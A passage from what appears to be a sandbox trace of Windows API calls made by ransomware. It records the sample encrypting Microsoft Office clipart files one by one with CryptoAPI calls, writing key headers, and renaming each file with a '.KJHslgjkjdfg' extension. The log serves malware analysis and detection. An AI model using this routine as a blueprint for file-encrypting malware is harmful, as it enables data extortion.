[0245.619] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.619] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2135, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2135, lpOverlapped=0x0) returned 1 [0248.887] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2140, dwBufLen=0x2140 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2140) returned 1 [0248.887] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.887] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2140, lpOverlapped=0x0) returned 1 [0248.887] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0248.887] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.887] SetEndOfFile (hFile=0x130) returned 1 [0248.893] GetProcessHeap () returned 0x2ef0000 [0248.893] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0248.893] GetProcessHeap () returned 0x2ef0000 [0248.893] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0248.893] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.kjhslgjkjdfg")) returned 1 [0249.030] CloseHandle (hObject=0x130) returned 1 [0249.030] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7065e700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7065e700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00110_.WMF", cAlternateFileName="")) returned 1 [0249.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.079] GetProcessHeap () returned 0x2ef0000 [0249.079] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.079] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.079] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.080] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.089] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.089] GetProcessHeap () returned 0x2ef0000 [0249.089] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.090] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.090] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.090] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.106] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.107] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.107] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.107] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.108] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.108] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.122] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.122] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4f0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4f0, lpOverlapped=0x0) returned 1 [0249.122] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4f0) returned 1 [0249.122] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.122] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4f0, lpOverlapped=0x0) returned 1 [0249.122] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.122] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.123] SetEndOfFile (hFile=0x130) returned 1 [0249.125] GetProcessHeap () returned 0x2ef0000 [0249.126] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.126] GetProcessHeap () returned 0x2ef0000 [0249.126] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.126] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf.kjhslgjkjdfg")) returned 1 [0249.128] CloseHandle (hObject=0x130) returned 1 [0249.128] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb76ecf00, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb76ecf00, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0x1844, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00127_.WMF", cAlternateFileName="")) returned 1 [0249.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.130] GetProcessHeap () returned 0x2ef0000 [0249.130] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.130] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.130] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0249.133] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.133] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.133] GetProcessHeap () returned 0x2ef0000 [0249.133] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.133] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.133] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.133] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.133] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.133] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.134] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.134] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.134] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.134] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.134] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1844, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1844, lpOverlapped=0x0) returned 1 [0249.136] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1850, dwBufLen=0x1850 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1850) returned 1 [0249.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.136] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1850, lpOverlapped=0x0) returned 1 [0249.136] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.136] SetEndOfFile (hFile=0x130) returned 1 [0249.140] GetProcessHeap () returned 0x2ef0000 [0249.140] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.140] GetProcessHeap () returned 0x2ef0000 [0249.140] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.141] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf.kjhslgjkjdfg")) returned 1 [0249.143] CloseHandle (hObject=0x130) returned 1 [0249.143] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb62ee00, ftCreationTime.dwHighDateTime=0x1bd4ae2, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb62ee00, ftLastWriteTime.dwHighDateTime=0x1bd4ae2, nFileSizeHigh=0x0, nFileSizeLow=0x81c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00132_.WMF", cAlternateFileName="")) returned 1 [0249.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.147] GetProcessHeap () returned 0x2ef0000 [0249.147] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.147] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.147] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.147] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.149] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.149] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.149] GetProcessHeap () returned 0x2ef0000 [0249.149] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.150] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.150] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.150] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.150] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.150] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.150] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.150] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.150] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.150] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.151] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x81c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x81c, lpOverlapped=0x0) returned 1 [0249.151] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x820, dwBufLen=0x820 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x820) returned 1 [0249.151] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.151] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x820, lpOverlapped=0x0) returned 1 [0249.151] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.151] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.151] SetEndOfFile (hFile=0x130) returned 1 [0249.154] GetProcessHeap () returned 0x2ef0000 [0249.154] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.154] GetProcessHeap () returned 0x2ef0000 [0249.154] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.154] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf.kjhslgjkjdfg")) returned 1 [0249.156] CloseHandle (hObject=0x130) returned 1 [0249.157] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f34ba00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f34ba00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1412, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00170_.WMF", cAlternateFileName="")) returned 1 [0249.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.159] GetProcessHeap () returned 0x2ef0000 [0249.159] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.159] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.159] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.159] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0249.162] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.162] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.162] GetProcessHeap () returned 0x2ef0000 [0249.162] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.162] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.162] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.162] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.162] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.162] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.162] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.163] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.163] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.163] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.163] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.163] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.163] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1412, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1412, lpOverlapped=0x0) returned 1 [0249.164] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1420, dwBufLen=0x1420 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1420) returned 1 [0249.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.164] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1420, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1420, lpOverlapped=0x0) returned 1 [0249.164] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14f4, lpNewFilePointer=0x0, 